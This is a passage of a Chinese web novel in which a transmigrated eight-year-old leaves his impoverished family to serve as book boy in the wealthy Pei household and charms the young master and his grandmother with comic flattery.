大伯母林氏闻言,也红着眼睛说道:“你大伯说的是,大伯母眼皮子浅,看到好东西就挪不开眼珠。不过岘哥儿你放心,大伯母看归看,心里还是有杆秤在。你才八岁,真拿了你的钱,大伯母出门都得被人戳着脊梁骨骂。” 崔仲渊、陈氏向兄长、长嫂投去感激的目光。 作为父母,他俩自然是不愿意儿子小小年纪去上工的。 等他们说完了,崔老太太拉着崔岘的手,笑道:“听到了吗,你大伯、大伯母说的对。这十两银子,还有外面那一车的东西,咱们都不能收,明日便退回去。” “那管家是好意,态度也和煦。但裴家门第高,你年纪又太小,去了终究得看人脸色生活。” 崔岘听得很是感动。 但裴家,他是一定要去的。 他得从这个贫困的河西村走出去。 相比于循规蹈矩去学堂开蒙,少爷的书童这个角色,显然更适合他。 平时不会囿于学堂,有更多的活动空间,还能打着裴府少爷的名头,出去扯虎皮赚钱。 适当时候,跟着少爷读几天书。 接着对外给自己打造一个‘耳濡目染接触到书籍跟着少爷听几天课结果好家伙一听就懂一看就会一理解全对’的小天才神童人设。 后面的路就稳了。 因此,崔岘从祖母的怀中挣脱,当着全家人的面,一甩长衫,双膝跪地。 八岁稚童尚且年幼,但眉眼坚毅,腰身笔挺,如松如竹。 小小年纪,便自有其风骨。 “不,这裴家,孙儿要去。” “一来,家中贫困缺钱,唯有继续读书科考,才能出人头地,苦尽甘来。” “二来,裴府是举人之家,门风清贵,又诚意相邀,孙儿不想错过这次机会。” 崔岘跪在地上,看向全家人,认真道:“父亲、母亲、大伯、大伯母、祖母,我知你们心中所想。然,家贫,岘虽年幼,也想为这个家,尽一份心意。” “河西村偏僻荒凉,我想走出去,去闯荡出一条自己的路。” “孩儿生在崔家,万分庆幸,愿替家里分忧,延续祖辈荣耀,扛起光复崔家门楣的重担。” 他的嗓音稚嫩。 但一番话却掷地有声。 全家人听得震撼,怔怔无言的打量着崔岘,像是不认识他一般。 崔老太太深受触动,颤声道:“好孩子,好孩子,快起来,地上凉。祖母知道你志向远大,但正是因为如此,祖母才不舍得你给人家做书童啊。” 崔岘抬起头,黝黑的眸子格外清亮,笑道:“正所谓:英雄不问出处,做书童又有何妨?祖母,您且等着,看着。” “孙儿日后,必定为自己、为咱们崔家,谋个璀璨将来。” 英雄不问出处。 好一个英雄不问出处啊! 崔老太太笑着擦干净眼泪,神情既欣慰,又激动。 二十年了。 经历两个儿子不知道多少次落榜,她已经凉了的心和血,今日听完小孙儿一番话后,又热了起来。 12、开卷有益 最终,崔老太太还是同意了小孙子的请求。 三日后,将崔岘送往裴府。 与此同时,那十两银子,分作两份。 五两充公,用于贴补家里和钰哥儿读书。 另外五两,则是给了陈氏。 那一车厚礼,米面油蛋收起来,肉下锅煸熟了,留着以后慢慢吃。 而那两匹布,一匹放家里,另一匹由大伯母林氏带去县城,找裁缝铺加急,给崔岘赶制三套衣裳。 当天晚上。 大伯母急匆匆从县城归来,拒绝陈氏帮忙,自己忙活着炒了一大盆猪肉炒萝卜干,一大盆葱炒鸡蛋。 屋子里香飘四溢。 但就算是嘴馋如崔璇,都沉默着没动筷子。 因为她知道这顿肉是怎么来的—— ‘卖掉’阿弟换来的。 大伯母殷切给崔岘夹了满满一大碗肉,嗫嚅羞愧道:“岘哥儿,吃,多吃点。” 正如她自己所说,让八岁稚童外出务工,供自己儿子读书。自诩崔家长媳的林氏,腰杆子都挺不直了。 但她这个长媳说了不算。 崔老太太一锤定音,明日就要先把钰哥儿送去县城顾夫子那里开蒙。 “够了,大伯母,我要吃不下了。” 崔岘看着冒尖儿的碗,连连摇头,并招呼众人:“阿姐,祖母,你们大家都吃啊。对了,为什么不见阿兄?” 林氏看了一眼崔老太太,表情尴尬。 大伯则是闷声道:“躲在卧房里哭呢,不肯出来,我晚上再劝劝他。” 崔钰死活不肯去读书。 因为这个,向来懂事的他,下午已经闹过一场了。 他大声哭嚷,表示绝对不会拿卖阿弟的钱去读书。 但崔老太太心意已决,谁也拗不过。 听到大伯这样说,崔岘端起那碗肉:“我去劝吧。” 等崔岘走了。 堂屋饭桌上一片安静,谁也没出声。 片刻后,崔仲渊再也忍不住,靠在陈氏肩膀上悄悄抹眼泪。 他心疼儿子嘛。 若是崔岘被强行送去当书童,崔仲渊这个当爹的,绝对会站出来护住儿子。 可这次…… 是岘哥儿自己一心想去的。 先前崔岘那番‘英雄不问出处’的话,不仅打动了崔老太太,也打动了崔仲渊、陈氏夫妻俩。 儿子想外出闯荡,当父母的,哪有拦着不让的道理呢? · 大伯一家的卧房里。 崔钰蜷缩在床上,用被子把自己蒙起来,抱着膝盖默默流泪。 被子的一角被掀开,而后,另一个瘦小的人迅速钻了进来,用肩膀蹭了蹭崔钰的肩膀。 崔钰往侧边退。 那人便贴着他的肩膀,跟着他挪动,直到崔钰贴到墙角,退无可退。 接着,被子里传来一声崔岘戏谑的笑:“哎呀,哭鼻子啦?” 就这么一句话,莫名把崔钰给惹毛了。 他猛然掀开被子,红着眼怒道:“笑!你还笑!你知不知道世道险恶,就敢给人做书童?安稳去读书开蒙,难道不比给人做……做……来得好!” ‘做仆从’三个字,崔钰甚至都没勇气说出口。 崔岘叹了口气:“我去读书,那你怎么办呢?” 崔钰几乎想也不想,道:“我是你兄长,就算要去做书童,那也是我去。若裴家不肯要我,那我就回来,大不了同祖母一样,每日少食一顿饭,也能供你去读书。” 听到这话,崔岘心中动容,无限感慨。 他看向身旁模样稚嫩的崔钰,心想:原来兄长不仅仅是一种年纪,更是一种责任。 罢了罢了。 大哥、父母、祖母都认了,多一位‘兄长’又有何妨。 因此崔岘认真开口:“阿兄。” 崔钰闻言眼睛里浮现出希冀:“是不是后悔了?阿弟,你今日那番话,打动了祖母。你听兄长的,你现在去跟祖母说,说你不去裴家了,你想去读书开蒙。你信我,祖母一定会同意的。” 不得不说,崔钰人虽年纪小,但很通透。 说话的同时,他急切的拉着崔岘,就要往外走。 但,崔岘没动。 崔钰回过头,用近乎乞求的语气说道:“阿弟,算兄长求你!我一想到自己要……要用‘卖掉’你的钱去读书,我心里就难受。” 他才九岁。 放在现代社会,还是懵懂顽童,父母手心里的宝贝疙瘩。 但生在封建古代农家,寒门清贫,早早被生活逼迫着,学会妥协退让,扛起兄长的责任,懂事到让人心酸。 “我已经决定好了,去裴家。阿兄,这书,得你去读。你我兄弟血脉相连,如同你不忍我去做仆从一样,我也同样不忍你去。但终究是要有个人去的,对不对?” 崔岘笑着伸出拳头:“自家兄弟,不多说腻歪虚话。来,我们碰一碰拳,做个兄弟约定。” “不管我爹,你爹来日是否能中榜,但你我都须从现在起各自努力,兄弟齐心,来日顶峰相见,光耀崔氏一族门楣。” 崔钰不停摇头,拒绝出拳。 崔岘曾经在心里给崔钰这样一句评价:小小年纪,便有君子风范。 而君子,可欺之以方。 因此崔岘佯装难受,继续说道:“我虽决定去裴家做书童,但心里也忐忑难受,这个时候,本该兄长来安慰我,为何还要我来安慰你呢?你去读书一事,既已成定局,阿兄难道连同我做个兄弟约定都不肯?” 果然,听完这话,崔钰红着眼妥协了。 他颤抖着伸出手,两个稚嫩的拳头用力抵在一起。 “……好,兄长答应你。我们兄弟,各自努力,来日顶峰相见,共同光耀崔氏一族门楣。” 陋室清贫,寒门穷困。 两个小小少年彼此对视,拳拳相撞。 无声,却有着无穷的力量。 第二天,崔钰是哭着离家的。 崔伯山带着准备好的束脩,陪儿子去县城顾夫子的私塾开蒙。 同样来开蒙的,还有几个年龄相仿的孩子。 老夫子将他们引入学堂,各自落座,每个座位上都有一卷书。 夫子说,书很珍贵,可以小心翻阅,看不懂没关系,以后就懂了。 夫子还说,这是人生的第一堂课,不着急识字,先各自想一想,究竟为什么读书。 其余的孩子或懵懂、或茫然,或挤眉弄眼开小差。 唯有崔钰坐在学堂里,先擦干净眼泪,又将手掌放在衣衫上,反复擦拭。 夫子有句话说错了。 这是他人生的第二堂课。 第一堂课,崔钰已经上过了,那堂课的内容残酷到令他绝望:牺牲掉阿弟,他才能坐在这里读书上课。 所以,从今以后,别人可以玩闹、可以走神、可以懈怠学问。 但唯独他崔钰不可以。 反复擦干净手的过程里,崔钰心想:为什么读书呢? 为了不牺牲阿弟,为了光耀崔家门楣,为了不再做泥巴腿子。 为了……为了所有泥巴腿子都能读上书,并且不必牺牲自家阿弟、阿妹。 书卷很大,大到数以千年来、数以万万人读了书,越读越觉得自己渺小。 书卷很小,小到它分明无穷浩瀚,却连个未开蒙稚童的心愿都无法实现。 崔钰此刻完全不知道,他立下的,是一个何等恢宏壮阔的愿景。 他的眼里只有桌上那卷书。 晨光熹微,倾洒进学堂。 被粗苎麻布衣裳磨蹭到通红、却干净的手,小心翼翼翻开桌面上的书卷。 是曰:开卷有益。 13、此去前程似锦 崔岘准备离家、赶往裴府的前一天晚上,他的新衣裳做好了。 整整三套。 用的是裴府送来的青烟绢,质地轻薄坚韧,颜色也十分鲜亮大气。 大伯母去县城取了衣服回来,急切道:“快,岘哥儿,赶紧穿上看合不合身。” 那可是绢布呢! 崔岘接了衣服,回卧房去换。 等再出来的时候,那扮相,看的全家人都眼睛发亮。 太俊俏了! 岘哥儿本就好模样,皮肤白,身量也长。 如今一身烟青色绢布长衫,衬的整个人越发唇红齿白,格外俊俏惹眼。 崔璇眼冒小星星:“阿弟真俊。” 崔岘难得有些赧然:“这,会不会太过鲜艳了些。” 大伯母林氏殷勤替他整理好衣衫,笑道:“哪里鲜艳啦,岘哥儿你这年纪,正合适呢。” 崔岘闻言抬起头,看向林氏,认真道:“这几日,辛苦大伯母为我忙前忙后操劳。” 林氏心中一暖,慌忙摆手:“自家人不说客套话。” 崔岘就笑:“既然如此,那大伯、大伯母以后也莫要再跟我客套咯。” 一句话,把家里大人都给说笑了。 陈氏扶着肚子,看向林氏:“岘哥儿说的是,大嫂,咱一家人,理应互相扶持。” 大伯、大伯母互相对视,悬着的心终于放下。 “对对,咱一家人,都是应该的。” 林氏颇有些不好意思的接话。 片刻后她又看向自家男人,嗫嚅道:“说是这么说,但岘哥儿马上要离家了,我们做长辈的,总该尽点心意……是吧,他大伯。” 崔伯山赶紧点头,随后回房里取出一个包裹,憨笑道:“给岘哥儿的。” 里面是两套夏日薄衫、一罐蜜饯儿、一包桂花糕、一包瓜子儿。 还有两双林氏最近连夜做的布鞋。 这一看就没少花钱,而且费了很大心思。 崔仲渊赶紧说道:“不行不行,不能收,大哥你这是作甚。” 但崔岘已经快他爹一步,接过那包裹,开心道:“谢谢大伯、大伯母。” 再然后。 崔岘把那罐蜜饯儿打开,抓了一把递给崔璇:“阿姐,吃。” 崔仲渊无奈扶额。 而崔璇则是惊喜的瞪大眼,征询般看向爹娘,见他们笑着没反对,这才欢呼一声:“谢谢阿弟!” “大馋丫头!” 林氏佯装生气白了一眼自家闺女,随后朝里屋努努嘴:“去分给你祖母尝尝。” 自从钰哥儿离家后,崔老太太一直待在卧房里,不怎么出门。 ‘卖掉’一个孙子,供另一个孙子开蒙读书,老太太自己心里肯定也难受啊。 崔璇听话的去了祖母的卧房:“祖母吃蜜饯儿,可甜啦,岘哥儿给的。” 换做往常,崔老太太肯定是不吃的。 但今日她笑着吃了一个,抵在嘴里细细咂摸味儿。 真甜呐。 外面堂屋里,老大、老二,和他们的媳妇,正在各自说笑,气氛很轻松。 老太太听着隐约传来的笑声,神情恍惚。 家里多久没有这么温馨过了? 好像从老大、老二落榜开始,这么多年,就一直沉闷着、紧绷着。 裴家送来的一车厚礼,外加十两银子,解决了家里的燃眉之急。 而小孙子岘哥儿通透,润物细无声的,又缓和了家里的尴尬。 崔老太太含着嘴里的蜜饯儿,回想起那日岘哥儿跪在自己面前,说的那番掷地有声的话,突然没来由的生出一种笃定—— 岘哥儿这孩子,将来肯定会有大出息的。 · 另一边。 被祖母认定为‘有大出息’的崔岘,正在被亲爹念叨,不应该收大伯那个包裹。 卧房里,油灯昏黄。 见崔仲渊一直絮絮叨叨,陈氏颇有些不耐:“兄嫂心有愧疚,岘哥儿收了,他们反倒舒坦。” 崔仲渊噎了噎,不再吭声。 片刻后他又开始忍不住絮叨:“东西都收拾齐了吧,大嫂给的鞋子放进去没有?哦对,每套衣衫里记得再缝个内兜放钱……岘哥儿打小睡相就不好,夜里总爱翻身,也不知裴府的床铺够不够宽敞……” 他说着说着,突然声音就有点哽咽。 方才还嫌弃相公话多的陈氏,这会儿也听得红了眼。 崔岘叹了口气。 他拉起陈氏、崔仲渊的手,一家三口窝在床上。 旁边是收拾好的两个行囊。 “好啦好啦,怎么回事,你们这个样子,我怎么放心出门赚钱。爹,你以后呢,就安心在家读书,莫要偷懒荒废学问。” “娘,你现在就是要吃好睡好,养好身体,把弟弟或者妹妹平安生下来。” 崔岘替爹娘擦拭干净眼泪,佯装惆怅:“总之呢,男人在外面赚钱很累的。你俩懂事一点,要好好照顾好自己。可别让我在外面劳累,还得操心家里。” “听话听话,别哭了啊,以后我每月都会回来看望你们,给你们买零嘴儿。” 陈氏闻言噗嗤笑出声,一把甩开儿子的手:“嘴贫的很。” 崔仲渊也跟着笑,只是笑容中又带着点怅然—— 这番话,好似理应他做爹的来说呢。 见爹娘情绪好转。 崔岘继续道:“爹,娘,儿子任性,没跟你们提前商量,就自己决定要去裴府,你们千万不要怪罪儿子。” “但请你们放心,儿子去了以后,一定好好努力,混出个人样来。等将来,带咱家搬出河西村,买大宅院,赚好多钱,再好好读书科考,给娘请封诰命。” 跳跃的油灯下。 即将离家、尚且年幼的儿子眼神清亮,向爹娘诉衷肠。 陈氏一把将崔岘抱在怀里,泪声道:“岘哥儿这么好,我跟你爹怎么会怪你呢。娘知你有大志向,能混出个人样来,自然是好的。” “但赚大钱,买大宅子,请封诰命,听起来就好累的。岘哥儿小小年纪,莫要心里拧巴,平白让自己劳心负重。” “你先照顾好自个儿,其余的,都不如你重要。” 崔仲渊跟着点头:“是极是极,你娘说的在理。若是去了裴家,受了委屈,你就立刻回来。咱们一家人平安健康,比什么都强。” 这下,换成崔岘听红了眼。 从今以后,他也是有爹娘疼的孩子了呢。 真好啊。 次日一大早。 裴府的马车再次来到崔家门外,老管家竟是亲自来接人了。 全家人都出来给崔岘送行。 陈氏昨夜还嫌相公絮叨,这会儿牵着儿子的手,一遍又一遍交代嘱托。 崔老太太倚在门框旁,苍老的眼睛中满是怜惜愧疚。 他们身后,是破败寒酸、一贫如洗的家。 “爹、娘,阿姐、大伯、大伯母、祖母。” 崔岘的目光,在一家人脸上缓缓扫过,笑道:“我走了,你们保重。” 穿越过来一月有余,他早已接纳了这个家,成为这个家的一部分。 如今临别在即,难免心生不舍。 崔老太太看着已然初长成的小孙儿,欣慰颤声道:“好,好啊,去吧。岘哥儿,照顾好自己。” 崔岘走过去,抱了抱瘦弱苍老的祖母。 随后他转身背对家人们挥手告别,登上了裴府的马车。 老管家再三保证,一定将崔岘小哥照顾周到,这才吩咐车夫驾车离开。 崔家人站在家门口,目光追随着那辆马车,目送它越来越远、越来越远……直至消失在道路尽头,再也看不到踪迹。 这一年,是大梁王朝嘉和十六年。 刚满八岁的崔岘,自河西村离家,正式登上历史的舞台。 迎接他的,是一个注定璀璨夺目,前程似锦的大好未来。 14、七天让少爷爱上学习 “崔岘小哥。” 从河西村驶向裴家的马车里。 老管家看向崔岘,笑道:“我同小少爷说,今日下午接你进府。所以小少爷上午外出玩耍了,下午才会回来。待会儿进了府,你先去见见我们裴府的老夫人,也就是小少爷的祖母。” “她老人家有些话,想提前跟你交代清楚。而后……” 说到这里,老管家适时停顿,思忖着该怎么委婉的把意思表达清楚。 崔岘闻言了然,笑道:“而后我再随您一起出府,佯装下午是第一次登门,和少爷见面,对吧?” 富贵哥人傻钱多好忽悠。 只是裴府高门大户,又怎么会真随便找个不知根底的孩子,跟小少爷一起厮混呢。 肯定得先‘掌掌眼’。 但没关系,既然已经忽悠到了富贵哥。 那就他祖母也一起忽悠了呗。 老管家惊异于崔岘的通透,又怕他多想,解释道:“对,是这个意思。但崔岘小哥你千万别因此心生芥蒂,老夫人她没有恶意……” 崔岘笑着附和:“我懂,您和老夫人都是为了少爷,可怜天下父母心啊。” 管家听的心花怒放。 跟这孩子聊天,实在太舒心了,一点就透,说话还好听。 约莫一刻钟后。 马车驶进裴府。 作为南阳县有名的高门,裴家的三进大宅十分气派,内有亭台假山、阶柳庭花。 富硕,又不失清贵底蕴。 裴老夫人住在后院。 管家带崔岘进去的时候,家丁们正在冲洗青石板地面。 崔岘看了看眼前湿漉漉、不染一丝尘埃的地板,再低头看看自己沾满泥巴的鞋子,笑了笑。 “劳烦您稍等片刻。” 向管家打了个招呼,崔岘四下环视,跟旁边一位家丁借了抹布,细细将鞋底擦拭干净。 结束后,将抹布清洗干净,再还给对方。 做这一切的时候,他神情坦然,没有半分窘迫。 甚至还笑着同管家讲:“乡下泥巴多,让您见笑了。” 老管家连连摆手。 裴老夫人走出来,看到的就是这样一幕。 尚且年幼的小小少年,在一院子人的注视下,泰然自若清理鞋底的泥巴。 很多人,尤其是男子,要数年、数十年后才会懂得一个道理—— 少年时候,是人生中最无需自卑自怜的时候。 哪怕你一无所有。 但少年的脊梁可抵万金,你只需挺直脊梁,世界便会为你喝彩。 “是崔家岘哥儿吧,好孩子。” 裴老夫人一眼就喜欢上这孩子,语气便很是热络:“也怪坚哥儿愚笨厌学,性子顽劣,一心闹着念叨着你,我才让管家贸然登门,请你来府上,你可莫要多想。” 这话说的极为客气。 崔岘快步走过去,朝老夫人行礼:“家中羞涩清贫,承蒙老夫人心善,给小子一个生计来源,小子很是感激。” “但容小子斗胆反驳一句,少爷聪明伶俐、秀外慧中、大智若愚,哪里称得上是愚笨!” 啊? 裴老夫人笑出声,嗔怪道:“你这孩子,倒是会说漂亮话。只是我那孙子什么德行,我心里有数。” 但崔岘却抬起头,认真道:“我认为,老夫人对小少爷有偏见。” 真的吗? 裴老夫人想了想自家那个能把人气死的混世小魔王,幽幽道:“全因他自己就是个偏的。” “……” 这话差点给崔岘整不会了。 他重新拾起思路,继续忽悠…… 不对,继续说道:“您看,这就是偏见。我虽和少爷相处不久,但却看到了少爷身上无数的优点。若是您还不信,那我来问问您,少爷是不是有很强的手工能力?” 裴老夫人闻言微愣,随后不确定的说道:“好像……坚哥儿手工能力确实不错?前年他爹书房里一个笔筒坏了,心疼的不行,最后还是坚哥儿给修好的呢。” 管家在旁边默默地想,那笔筒,就是小少爷弄坏的。 崔岘却快速道:“您看,那就说明少爷有着极强的专注力,和解决难题的能力!这要是匀三分心思在学习上,那所有难题还不是手到擒来!” 老夫人本以为崔岘是在说好听话,可听到这里,突然就开始不确定了。 好像,有点道理? 就听崔岘又问:“小少爷玩游戏是不是很厉害?” 裴老夫人这次快速点头:“不管是放风筝,踢毽子,还是玩九连环,下围棋,他都擅长。” 老管家心想:纨绔嘛,爱玩。 但崔岘却说出惊掉所有人下巴的另一种解读:“风筝放得好,说明少爷身体和脑子配合协调。” “围棋、九连环这种益智游戏,都能迅速掌握规则,且玩的得心应手,说明少爷思维灵活,还有着快速的学习能力。这要是运用在学习上,成绩绝对突飞猛进!” “我再来问您,少爷是不是很受朋友欢迎?” 老管家心想:是有一群狐朋狗友。 说起这个,老夫人也头疼:“确实受欢迎,但他那堆朋友,唉,一言难尽。” 崔岘道:“受欢迎就对了,包括我,也是短时间内就和少爷一见如故。这说明少爷为人和善,心思细腻,懂得照顾朋友,游刃有余处理身边人的关系。这种能力,来日高中做官,绝对能如鱼得水啊!” “老夫人,我不问您了,我现在还敢笃定,少爷他很有创造力,而且记忆力也惊人,对不对?” 裴老夫人这下激动了:“对对,你怎么知道?他从小就能自己在墙上作画,画的我都看不懂。而且他记性是真好,我两年前骂他的话,他都一字不落全记着!” 崔岘一锤定音:“创造想象力好,就是灵气足,若是专心读书,必定事半功倍。甚至上了考场,也会有神来之笔,思路见解清奇!” “而记忆力惊人,这个就不必多说,学习一事,对少爷来说,完全手到拈来!” 天呐! 一整个院子的人都傻了。 他们听着崔岘的话,再想想往日各种不靠谱的小少爷,犹犹豫豫的想着—— 难不成,小少爷真是个被埋没的天才? 老夫人脸色发红,但还有三分理智:“可他聪慧是聪慧,也浑身都是优点,但就是不肯读书学习啊,还被……还被七八位夫子骂朽木,把夫子们气走了。” 说到这里,老夫人又开始生气了。 但崔岘却说出让老夫人浑身一震的话:“那是因为这些夫子不行!少爷明明浑身优点,他们却无法教少爷认真读书,还奚落少爷,简直无能!他们埋没了一位年轻的天才啊!” 什,什么? 原来坚哥儿不好好读书,不是坚哥儿朽木,而是夫子们无能吗? 也……也不无道理啊! 毕竟连自己都对小孙子抱有偏见,更何况那些老古板夫子呢! 裴老夫人这下真急了:“岘哥儿,那你说怎么办,可不能让我们坚哥儿明珠蒙尘啊!哎呦气死我了,这孩子,明明聪慧伶俐,可偏偏就是不爱学习。” 老管家心想:这就从朽木愚钝,到聪明伶俐了? “老夫人莫急,小子自有办法!” 崔岘看向裴老夫人,目光炯炯:“七日,小子只要七日,就能让少爷爱上学习!” 少爷,爱上学习,这几个字真的能组合在一起吗? 院子里的裴家仆从们震惊到瞠目。 裴老夫人想想那个画面,觉得自己激动的要晕厥过去了。 她颤声道:“好,好!岘哥儿,只要你能办到,以后你就是我裴府的座上宾!” “岘哥儿,好孩子,裴家的未来,还有坚哥儿的未来,都靠你了啊!” 15、全世界最优秀的少爷 裴老夫人理解小孙子为什么会喜欢崔岘了。 别说小孙子,就是她,现在也恨不得把岘哥儿捧在手心里,当作宝贝疙瘩。 这孩子,是真招人稀罕呐! 但其实她没意识到,崔岘和裴坚根本不熟。 对方夸赞的那些话,不管套在哪个顽皮的男孩身上,都完美符合。 ‘这孩子打小就聪明,但就是不爱学习’这种说辞,用来忽悠家长,那真是一忽悠一个准儿。 中午。 裴老夫人还特地吩咐庖厨,做了一桌好菜,招待崔岘。 白萝卜炖羊肉、鸡丝蛋汤、椒盐排骨、清蒸鲈鱼…… 一道道菜精细又美味。 崔岘吃的异常满足,同时对这个朝代士族高门的生活,有了清晰的认知。 再想想家里饭桌上常年不见荤腥,这贫富差距,实在让人心惊。 也难怪‘书中自有黄金屋’呢。 饭后,崔岘在厢房稍作小憩,然后在管家殷勤带领下离家,准备‘重新登门’。 这边崔岘刚走。 另一边。 小少爷裴坚急吼吼归家,把家丁、丫鬟都召集过来。 他清了清嗓子,看向众人:“待会儿等我小弟到了,你们都给少爷机灵点,可千万别说错话了啊。你——” 裴坚指着一个家丁:“你负责站在门口的院墙下,佯装不经意间夸赞少爷我才思敏捷,是街坊邻里公认的天才。” 接着,他又指向另一个丫鬟:“你,负责在廊前花痴,说少爷我是你见过的最好看的男子。” “你,负责在假山后,喃喃自语崇拜我擅长游戏,脑子聪慧。” “你,负责夸赞我……” 裴坚一个一个吩咐,给他们定制好夸赞自己的‘台词’。 小弟初次登门,他作为大哥,自然想要装上一装……呸! 是想要树立起大哥的光辉形象! 其实这些台词,裴坚从前几日起就交代下来,还拉着仆从们一起‘演练’。 之前,这些人都嘻嘻哈哈。 因为他们对少爷知根知底,只觉得那些台词浮夸又羞耻,和少爷一点都不匹配。 可今日也是怪了! 每个家丁都神情郑重认真,半点不敷衍。 裴坚很满意。 家丁、丫鬟们互相对视—— 现在府里都传开啦,崔岘小哥说,小少爷其实是个聪明伶俐、秀外慧中、大智若愚的神童! 搁在以前,这话大家是不信的。 但听了崔岘小哥那番话,再品一品小少爷自夸的‘台词’,裴府仆从们恍惚的想…… 有没有一种可能,少爷他,其实真的是个天才呢? · 裴府,大门外。 裴坚站在门口翘首以盼,不停紧张的来回踱步。 怎么还没到! 他一直急切盼着崔岘登门,如今人家来了,他又没来由开始紧张。 仔细想,二人只有简单的一面之缘,并不算熟稔。 裴坚自幼人嫌狗憎,性格顽劣,常年被奚落批评。 生在一门双举人的裴家,却不擅读书,气的多位夫子骂他‘朽木’。 小弟说的那些,大气、敞亮、豪爽、俊俏、正直、君子气概十足,等诸多优点,裴坚其实一个也不占。 嗯……除了占一个‘俊俏’。 可是生平头一次被一个陌生人如此夸赞、崇拜,裴坚真的好开心。 他很想在崔岘面前,保持住自己伟岸的‘大哥’形象。 但要是露馅了怎么办? 或者小弟发现大哥是个草包,转身就走了,怎么办? 裴坚越想越紧张。 他甚至忍不住开始整理衣冠,尽力让自己看起来更加完美。 也就是这个时候,马蹄声由远及近传来,再接着—— “大哥!” 崔岘从马车上跳下来,满脸惊喜,声音中带着赞叹:“你送了我家一大大大车的厚礼,还真的给了我十两银子!我这辈子都没见过这么多钱,你太豪爽啦!哇,这是你家,好生气派!” 莫名的,听到这话,裴坚突然就一点不紧张了。 他嘴角怎么压都压不住,想要快步过去迎接崔岘,又硬生生忍住了,状似不在意道:“给你的,你就收着。还有,我当日怎么和你说的?” 崔岘慌忙站直身体:“大哥说了,做了大哥的小弟,就要稳重行事。但我看到大哥,太激动了嘛。” “啊啊啊啊啊啊,他真的想做我小弟,我说的话他都记得啊啊啊啊!” 裴坚心中兴奋咆哮,嘴上沉稳道:“行,以后多注意,你随我进府吧。” “好的大哥。” 崔岘兴奋跟上裴坚的脚步。 二人身后。 老管家瞠目的看着这一幕,在风中独自凌乱。 崔岘小哥……原来是个戏精啊。 得亏他还担心崔岘小哥,把‘二次登门’的事情说漏嘴呢。 看来是他多虑了! 但管家没说话,默默跟了上去。 一行人刚进府。 便听见旁边院墙处,一个家丁背对着众人扫地,‘大声’、‘超经意’跟另一个家丁说道:“哎,你听说了吗,咱们家少爷,今日又被学堂夫子夸赞了!” 另一个家丁点头,大声附和:“听说了听说了!咱家少爷才思敏捷,聪慧异常,打小就是公认的天才呢。” 崔岘听到后,眼神发亮看向裴坚:“哇!” 绝了。 就这么一个单纯的‘哇’,比别人夸十句、百句都令人心情舒畅。 裴坚摆摆手,努力强忍住嘚瑟,扮演谦逊:“他们乱说的,我也没有那么厉害。” 老管家和其余家丁们:“……” 究竟是谁在乱说啊! 等到了花廊。 一个婢女抱着一盆花,站在廊下大声呢喃:“咱们家小少爷,是我见过的,世间最美的美男子。” 裴坚耳朵微红,目光炯炯看向小弟。 崔岘沉默片刻,很给面子的惊叹道:“哇!大哥,有小娘子夸你俊美唉!” 裴坚的嘴角这下真是彻底压不住,感慨道:“俊美,也是一种压力啊。” 崔岘:“……” 接下来,二人在府里绕了好大、好大、好大的一个弯。 每走到一处,都会有人大声、超刻意、夸赞少爷。 “少爷擅长各种游戏,脑子聪慧。” ——“哇!” “少爷为人正直,豪爽,朋友遍天下。” ——“哇!” 裴坚在一声声‘哇’当中,彻底迷失了自我。 最后。 好不容易走到了他住的院子里,崔岘还非常懂事的做了总结升华:“大哥,我们一路走来,好多人夸你奥!我果然没有看走眼,你是全世界最优秀的大哥!” 这一天,裴坚的嘴角都咧麻了。 他把小弟安排在自己卧房隔壁厢房住下。 还非常大方的拿出各种糕点、蜜饯儿,以及林林总总的玩具招待小弟。 小弟惊喜到合不拢嘴,直呼‘大哥真好’。 以至于这晚裴坚睡觉的时候,做梦都在笑。 他心情就从来没这么舒畅过,浑身飘飘然,甚至恍惚间真的觉得,自己是‘全世界最优秀的大哥’。 可一觉睡醒,婢女在床头温声提醒:“少爷,今日您得早起去学堂了,老夫人吩咐我来唤您起床。” 裴坚的好心情瞬间没了。 整个人也清醒了:屁,自己这辈子就跟优秀俩字不沾边。 要不算了吧。 于是,裴坚佯装虚弱,捏着嗓子道:“哎哟,哎哟不行了,我嗓子不舒服,你跟祖母说,我怕是去不了学堂了。” 听到这个消息,裴老夫人如当头棒喝,清醒了。 什么天才,他就是个草包啊! 16、裴氏族学 来裴家之前那个晚上。 崔仲渊曾担心过,说岘哥儿睡相不好,也不知裴家的床铺够不够宽。 但其实他完全多虑了。 相比于崔家逼仄、憋闷的土坯卧房,裴家的厢房宽敞、雅致。 油灯清亮,被褥柔软。 还有婢女贴心为崔岘点燃了助眠的熏香。 一夜好梦。 卯时,晨光破晓。 裴府的家丁、婢女们早早起床,开始忙碌。 小少爷自然还在酣睡。 崔岘早早起床,简单洗漱后,在院子里锻炼体魄。 重活一世,他深知有个好身体的重要性。 因此保持了在崔家时候的每日晨练习惯。 等崔岘锻炼完毕,用过早食,天光已然大亮,婢女这才去唤少爷起床。 不出意外,裴坚说自己‘病了’。 裴老夫人气急败坏赶来,人刚进裴坚的小院,就要忍不住开骂。 说好的小弟接过来就去学堂读书呢,出尔反尔,草包啊草包! 结果还没等裴老夫人张嘴。 小院里,已清楚缘由的崔岘,对老夫人比了个噤声的手势。 裴老夫人咽下骂人的话,神情希冀的看向崔岘。 难道这孩子有办法? 在裴老夫人,和一帮仆从们的注视下。 崔岘敲了敲少爷的房门,声音中透着忧虑:“大哥,听说你生病啦?” 卧房里。 裴坚有些心虚的回道:“是……是啊。” 崔岘的话隔着房门传进来:“严不严重啊,可要请大夫?以前我在县城里,见过秀才公身后的书童,背着书箱,替秀才老爷撑伞,可威风神气啦。” “今天是我来裴府做书童的第一天,书箱、还有伞我都提前给大哥准备好了。” “……我激动的一晚上没睡,就盼望着今日陪大哥一起去学堂呢。” 听到这话,昨夜为崔岘点熏香的婢女神情古怪。 一晚上没睡? 若非她亲眼见崔岘小哥睡的香甜,怕是真要被诓骗到。 但裴坚信了。 虽然无法理解,给人提书箱、撑伞有什么威风神气可言。 但听着小弟话音里的期待,他拒绝的话实在说不出口,半晌后一咬牙,起床! 罢了,自己虽然不优秀,但好歹是个大哥啊。 片刻后。 嘎吱—— 卧房门被推开,在裴老夫人、以及全院家仆们瞠目的注视下。 就见裴坚穿戴整齐走出来,说道:“只是晨起醒来有些不舒服,现在已经好了。你准备的书箱和伞呢,快拿出来,我们去学堂。” 这……这么简单就同意了? 崔岘欢呼一声,慌忙去准备:“好的大哥!” 裴坚嘴角又忍不住开始笑。 生平头一次,他是带着好心情去学堂的,而不是每日‘上学如上坟’。 